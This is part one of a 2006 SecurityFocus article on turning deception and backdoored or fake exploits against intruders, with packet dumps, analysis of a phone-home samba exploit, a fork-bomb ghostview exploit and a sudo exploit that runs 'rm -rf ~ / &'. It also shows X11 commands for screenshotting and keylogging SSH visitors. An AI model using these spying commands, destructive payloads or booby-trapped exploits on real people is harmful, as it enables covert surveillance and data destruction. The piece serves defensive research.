Endpoint Protection

 View Only

Malicious Malware: attacking the attackers, part 1 

Jan 31, 2006 02:00 AM

by Thorsten Holz, Frederic Raynal

This article explores measures to attack those malicious attackers who seek to harm our legitimate systems. The proactive use of exploits and bot networks that fight other bot networks, along with social engineering and attacker techniques are all discussed in an ethical manner. Part one of two.



Among all the exploits available for information systems, some are simply more valuable than others. Finding a flaw in a server is often coveted, and finding one in a client is quite functional. However, when one discovers a flaw in security software itself, it is both coveted and highly functional. Writing an exploit against an IDS or some anti-virus software, for example, gives a researcher a special feeling because he knows that he is going to exploit something that has been built, ironically, to improve the security of a system.

In this article, we focus on a similar concept. We will explore different ways to exploit the very attackers who are targeting our systems. We want to exploit the exploits, worms, viruses, humans or otherwise who take offensive actions against the IT systems under our control. Instead of using the classical IT security paradigm of "Protect, Detect, React", we take a step further now to illustrate steps to be proactive and exploit the attacker with our own offensive. If we just protect our network as best we can, detect any changes (such as with the help of an IDS/IPS or an anti-virus engine), and then react to those changes, the attacker will always be one step ahead of us. He can plan his steps well in advance of our reaction and thus, he always has the advantage of making the next move.

The techniques discussed in this article are very similar to the concept of a hack back: the term used to describe the actions one can take after being attacked by some other party - such as scanning the attacker's host or even exploiting a vulnerability found on the attacker's machine. However, a hack back is still a reactive way to stop attackers. To go a step further, we need to understand the weaknesses of an attacker.

In this article we will sometimes take the initiative and look at clever ways to take advantage of some offensive instincts in human behavior. The desire for some people to cause harm to us (and to others) is therefore the first weakness we will consider about a malicious attacker, one that we will use to our advantage.

It can be argued that computer science appeals most to people who enjoy automated processes that allow the operator to become somewhat lazy: why should we do something when someone or something else can do it for us? With this tendency in mind, exploiting the intrinsic lazyness of humans is the second weakness we will consider.

Finally, a third characteristic - especially found in attackers - is curiosity: how does this system work? What other systems in the neighborhood can I attack? What happens if I execute this binary? We will also take a look at the drawbacks of inherent curiosity and how one can take advantage of this. Throughout the article, we will give several examples of how these three characteristics have been exploited in the past.

Before going any further, let us remember the four main strategic goals when attacking information systems:


  1. Gather information stored on the system - one should think about how spyware or Trojan horses do this.
  2. Prevent access to some resource on the system, resulting in a Denial-of-Service (DoS).
  3. Control the system, perhaps because it will be used in a later DoS or DDoS (Distributed Denial-of-Service).
  4. Use the target system as stepping stone to propagate the attack to neighboring systems.

With this in mind, we need to focus on attacking the very tools used by attackers to reach these goals and then study what has already been done by them.

In the past, we have seen that bogus exploits have been published, trojaned binaries have appeared, and other kinds of malware have surfaced with hidden backdoors. The cleverness of these methods used to circumvent the tools used by a potential attackers varies. There are simple fake exploits in which the dizziness is pretty easy to spot. But there are also some types of malware in which it is not quite so easy to see that something unexpected is happening. Some examples of these range from unexpected buffer overflows within the exploits themselves to obscure coding mechanisms. There has even been a contest to develop innocent looking but malicious code. The aim of the Underhanded C Contest (UCC) [ref 1] is to this end, where its purpose is to, "write code that is as readable, clear, innocent and straightforward as possible, and yet it must fail to perform at its apparent function. To be more specific, it should do something subtly evil."

Once our targets are identified (whether they are viruses, worms, or any kind of human attacker), our aims are once again clear: information gathering, DoS, control, and then use the sytem as a stepping stone. In the following paragraphs, we will give some real-life examples of such attempts to exploit attackers or their tools in cases where they have been attacking us.

Of course, we are aware this subject raises many questions from a legal perspective - please see the disclaimer at the end of this article. As neither of the authors of this article is a legal expert, we will address only the technical issues here. However, we do encourage interested readers to have a look at a relevant issue of the Journal of Computer Virology [ref 2] which discusses these legal problems in various countries, including the USA, France, Israel, Russia and so on.

Information gathering

Our aim here is to gather the maximum amount of information possible regarding our malicious attackers. Security professionals are already well aware of the many techniques used to complete such objectives. We will use two of these approaches to illustrate our first step: deception and subversion.

Deceiving the attacker

We are familiar with deception from the field of study known as honeypots, where technology is used to lure in attackers and then study them in detail. Deception is mainly used to trick the malicious opponent to make him believe something that is not quite true. We make him believe certain things or conditions exist, and indeed entrap the attacker to carry out a series of steps that he did not plan on in advance. This technique offers several interesting applications: to divert, to lure, or even to attack.

We can divert the attention of our opponent away from our truly interesting targets towards something that we somehow control or that is rather uninteresting. While this is mainly used in the area of honeypots, it can be applied in other fields of application as well. Providing fake information to an attacker is a common way to achieve this goal.

Moreover, we can use deception to lure. We presumably can persuade the opponent to conduct himself via a series of actions which will be to his disadvantage and will help us to achieve our goals. An example of this is to trick the attacker to perform actions that can then be abused by us.

For instance, suppose we only allow clear text protocols (like HTTP, SMTP or FTP) as outgoing services. Then, even when the intruder has installed a SSH daemon to come back through a secured backdoor, we can sniff the traffic and learn about the intruder's hidden agenda.

In the next example, a SSH daemon has been "hidden" on port 50:


14:32:16.324217 IP >  S 2522895486:2522895486(0) win 16384 

Rather than look at the version of SSH, let us focus on the next few packets that are not related to port 50:


14:41:03.592409 IP > P 1:26(25) ack 1 win 5840 0x0000:  4500 0041 a45d 4000 3406 5a64 51c4 1485  E..A.]@.4.ZdQ... 0x0010:  ac10 8665 0015 0414 68f5 e827 05c2 5f84  ...e....h..'.._. 0x0020:  5018 16d0 aceb 0000 3232 3020 486f 6d65  P.......220.Home 0x0030:  2e72 6f20 4d65 6d62 6572 7320 4654 500d  .ro.Members.FTP. 0x0040:  0a  ... 14:41:30.599680 IP > P 1:19(18) ack 26 win 5840 0x0000:  4510 003a 1f16 4000 4006 d3a2 ac10 8665  E..:..@.@......e 0x0010:  51c4 1485 0414 0015 05c2 5f84 68f5 e840  Q........._.h..@ 0x0020:  5018 16d0 aa2e 0000 5553 4552 2066 6c61  P.......USER.fla 0x0030:  7669 7573 6861 636b 0d0a                 viushack.. ... 14:41:42.850837 IP > P 19:35(16) ack 66 win 5840 0x0000:  4510 0038 1f18 4000 4006 d3a2 ac10 8665  E..8..@.@......e 0x0010:  51c4 1485 0414 0015 05c2 5f96 68f5 e868  Q........._.h..h 0x0020:  5018 16d0 1d6a 0000 5041 5353 206c 6f76  P....j..PASS.lov 0x0030:  6561 6469 6e61 0d0a                      eadina..

This is an example of intrinsic lazyness of any human being. It is definitely not a good idea to come in to this system through a ciphered channel and then retrieve tools with a clear text one... but such is a function of human nature. Adding encryption would require some additional effort on the attacker's part, and in the above example it appears that the attacker could not have been bothered to plan this correctly.

A more useful trick can be used on a local network. Assume you would like to detect users who are sneaking around the network. You can create fake entries in the local zone of your DNS (since it is common that most internal systems are allowed to perform a zone transfer) and either sacrifice an old box or configure a virtual system (for instance with honeyd). You create an account with an easy-to-guess password so that when the curious user logs in, he is given as much information as possible.

You can also extend this approach to attempt to perform a "counter-ssh." Currently for ssh daemons on Internet, one will often notice many attempts to brute force the ssh accounts with various default passwords. If X11Forwarding has been enabled on the client side, it opens up many ways to gather information about your new visitor.

You can make a screenshot of the remote client as follows:


/* smile for the screenshot */ $ xwd -display localhost:10.0 -root -out test.xwd /* display it */ $ xwud -in test.xwd

You can also list all X clients run by the attacker with the command xlsckients, spy X events with xev, or even transform X as a keylogger:


$ DISPLAY=localhost:10.0 xmacrorec2  -k 0

This can also be automatized, for instance at the opening of the session, through a .bash_profile, or through a restricted ssh environment.

This is why later versions of ssh include the option ForwardX11Trusted, and restricts the trust to some properties specified in /etc/X11/xserver/SecurityPolicy.

Subverting the attacker

Another interesting application is subversion. We can take actions to shatter the effectiveness of the methods an attacker is performing and then take advantage of this. An example is to use social engineering to encourage the attacker to use a poisoned tool that contains a backdoor. This is an approach that can undermine the proceedings of the attacker and exploit both his lazyness and curiosity. Subversion can also be used to demoralize the attacker or confuse him - which can then be further abused by us, as we will see.

As an example, let us imagine a situation where an exploit has been backdoored so that it "phones home" when it is used - of course, this is far from reality most of the time. But suppose this exploit (or a tool created with this exploit) is put on a fake "script kiddie" site along with many other "toolz," hosted somewhere in Romania. Or suppose this exploit appeared in a legitimate place. One would make some subtle advertisement for this exploit and wait for a malicious hacker to take it and use it. We then just have to wait to see where it is used. This is an example that takes advantage of an attacker's curiosity: the attacker will presumably execute the binary without fully analyzing it, just to see what it does. In addition, this also exploits the intrinsic lazyness of a human being - reverse engineering large amounts of code in a binary is not fun all the time.

Finding such exploits is not science-fiction. For instance, in a published exploit targeting samba we found the symbol system(), which is really uncommon to find in exploits. We looked deeper and found the following embedded script:


0x804a7c7 <:main+1339>:  push   0x804d900 0x804a7cc <:main+1344>:  call   0x8048a28 

This script makes the file /etc/.mc to be sent daily. When investigating a bit further, we also find:



Thus, each time the exploit is successfully used, it saves the remote address and stores it in /etc/.mc. Once a day, this file is sent to the exploit's real owner: he just has to wait and see how well it spreads.

Of course, more complex backdoors can also be embedded in this situation, and enables one to own the attacker's system rather than just track the use of the exploit.

Note that this kind of "phone home" technique has been known and used for a long time, and is also used in other applications. Word bugs or HTML bugs are often used to track a message, for example: you can embed a link to an image or document on a website you control, and then just look at the logs to learn if your document have been read, where, and when. Spammers use this technique quite often. For instance, in an HTML mail received not so long ago:


Please, contact us on    www.foobar.com ...  

The value 6l0BUf4O0BFA0 is used to track us down. When the mail is opened, the mailer connects to the site, and tries to load the corresponding image, sending at the same time other information (host IP and so on).

Denial of service

Our goal is now to cause a denial of service on an attacker. This can be achieved either by exhausting the resources available for the attacker, or by "terminating" the attacker.

Resource starvation

This idea is already used by tarpits: when a worm connects to a honeypot with a tarpit, the connection is artificially made very long, so long that it cannot keep infecting other hosts. For our purposes, we will not focus on malware so much as on using exploits as our target.

The main offensive tool used during an attack is the exploit. This is a must-have tool when an attacker tries to intrude into a remote system, even if there are other ways to do this. Thus, we will look at different ways to stop an attacker in this early stage of his attack.

Our first example is an interesting way to exploit the trustworthiness of well-known people in the security community. It is based on two messages sent to the Full Disclosure mailinglist in August 2004 regarding a pseudo-vulnerability in ghostview. [ref 3] The first message is an advisory presumably posted by Hugo Vazquez Carapez, who had already posted several advisories to this list. As a regular reader of this unmoderated mailing list, one will see the name and it will sound familiar. Our second example is (still presumably) also posted by Hugo, but now he gives credit for the discovery back to another well-known coder of exploits, Zen-Parsec:


From: Hugo Vazquez Carapez (infohackinghush.com) Date: Wed Aug 04 2004 - 06:46:10 CDT zen-parse ZP! told me that he discovered this vulnerability first...  Infohacking was missinformated... so we apologyze this mistake  Anyways you can still enjoy with my leet exploit 

The advisory claims the flaw comes from bad usage of the sscanf() function, and both messages are signed. One of the message provides the following exploit:


 1  #include <,stdio.h>  2  #include 

When this exploit is run, if a PDF or postscript document is opened, the flaw is exploited. A lazy attacker who just takes a quick look at the above exploit will not recognize that something is wrong. Or can you immediately spot the error in this example? In addition, this example of social engineering that exploits the curiosity of human beings: if well-known names are used, this gives the disguised attempt much more credibility.

The exploit here has a structure which is rather uncommon. Moreover, the command passed to the shell is strange: why should we compile the hellc0de once it is written to a file? In fact, when it is dumped as text, hellc0de contains the following instructions:


(gdb) x/s hellc0de  0x8049880 

In fact, the code overloads some well-known functions of the libc library. Hence, when line 23 is executed, a shell is spawned:


test@batman:~/src$ ./gvex sh-3.00# id uid=0(root) gid=0(root) groups=100(users) 

Fine, we have a root shell. However, when one looks closer at the source code of the exploit, he notices that it is a social engineered fork bomb. One believes he really has a root shell because getuid() and some other functions are replaced with the ones from hellc0de. While the user tries to explore the possibilities of his new root shell, new processes are fork()ed...

If this is a rather classic example, we can imagine more subtle ways to similarly starve the resources of an attacker. For instance, the fake exploit could exhaust the available inodes, file descriptors, or sockets used on the attacking host.

Fake exploit to terminate attackers

Let's start with a brief lesson from the Terminator movie series:

Terminator: Sarah Connor ? Sarah: Humm, no it's next door       Terminator (fake)

Our goal is to create innocent looking exploits that will be used by attackers who do not fully analyze a given binary or source code. These exploits have a malicious payload - for instance, to wipe the hard drive of the system the code is running on - that will be executed once the exploit is used. Using such a tactic, one needs good social engineering skills to convince as many people as possible that the exploit is in fact real. In addition, the exploit itself should look like it is as real as possible.

As an example, we will take a look at a pseudo-exploit against sudo - a program to execute a command as another user - published in July 2005. [ref 4] This example deals with a combination of social engineering and good programming knowledge. First, the exploit targets a program known to have contained several vulnerabilities in the past. Secondly, the story told in the e-mail relies on many keywords that attract an attacker's attention: "military," "grsec/PaX enabled," "undisclosed bug," "root privileges", "sebek," and some others. At first glance, the exploit seems valuable:


From: Esler, Joel - Contractor 

This sounds very attractive from an attacker's point of view! Similar to the previous example, simple lazyness and curiosity are about to be exploited. Now, let's take a look at the given exploit. There are two things which should appear very odd:


23: char esp[] __attribute__ ((section(".text"))) /* e.s.p release */     ... 45: unsigned long get_sp (void)      {        __asm__ ("lea esp, %eax");      } 

What is wrong here? At line 23, a shellcode with the strange name (esp) is put into the section .text. Afterwards, the function get_sp() uses lea instead of mov. However, if the reader of the exploit does not pay attention, he will just see that esp is put into eax, which is what the usual function get_sp() does. But here, esp is something different - some unreadable opcodes.

The tricks used in this fake exploit are rather elegant: a signedness bug combined with a stack overflow. The exploit can be summarized with the following code:


     1  #include 

At line 16, the integer 246 is given as an argument to the function th30_iz_own3d(). However, this integer is casted into a signed char, and thus is interpreted as -10 in th30_iz_own3d(). Some alignment operations due to the compiler change that to 16, and thus 16 bytes are allocated on the stack. However, when reaching fill(), -10 is used to initialize the loop: when the division is made, sizeof() is unsigned int (usual type for size_t returned by sizeof()). Thus the division will be made as unsigned int, which makes -10 quite huge (4294967286), and the result, 1073741821, is more than what is needed to overflow the stack allocated previously. So the return address of the function th30_iz_own3d() is replaced with the address of the shellcode.

The shellcode itself is not that interesting, as it performs a execve("/bin/sh", "-c", "rm -rf ~ / &", NULL), thus trying to erase the hard drive of the person executing this exploit. Two mails were posted on the mailing list where this was found shortly afterward to explain what this fake exploit does. [ref 4]

Concluding part one

At this point we will briefly conclude part one, having looked at just the first two steps required in our pursuit: information gathering and Denial-of-Service. Now let's continue on to part two, and finalize this discussion.


Thorsten Holz - t.holz@miscmag.com
Frédéric Raynal - f.raynal@miscmag.com; frederic.raynal@eads.net

References - parts 1 and 2

[ref 1] The Underhanded C Contest (UCC)

[ref 2] S. Lefranc, D. BÉnichou
Introduction to network self-defense: technical and judicial issues
Journal of Computer Virology, Springer
Vol.1, issue 1-2, p. 24-32, Nov. 2005

[ref 3] [Full-Disclosure] IFH-ADV-31339 Exploitable Buffer Overflow in gv

[ref 4] [Full-disclosure] Undisclosed Sudo Vulnerability ?

[ref 5] Message Lab archive

[ref 6] Sasser Worm ftpd Remote Buffer Overflow Exploit (port 5554)

[ref 7] This is not a viruswar, this is a botwar!

[ref 8] Fighting Internet Worms With Honeypots - L. Oudot

[ref 9] Scapy - P. Biondi

[ref 10] KARMA Wireless Client Security Assessment Tools
Dino A. Dai Zovi, Shane Macaulay ktwo

[ref 11] Linux on-the-fly kernel patching without LKM

[ref 12] SucKIT rootkit source code

[ref 13] Analyse d'un binaire SucKIT V2, Samuel Dralet

[ref 14] fakebust


[disclaimer] The SecurityFocus editorial team supports the positive nature of this article and a legal defense of information systems, abiding by the ethical Google mantra of "Do No Evil." However, the opinions expressed in this article are not necessarily those of SecurityFocus or its owner, Symantec Corporation.

© Copyright 2006, SecurityFocus.

This article originally appeared on SecurityFocus.com -- reproduction in whole or in part is not allowed without expressed written consent.

0 Favorited
0 Files

Tags and Keywords

Related Entries and Links

No Related Resource entered.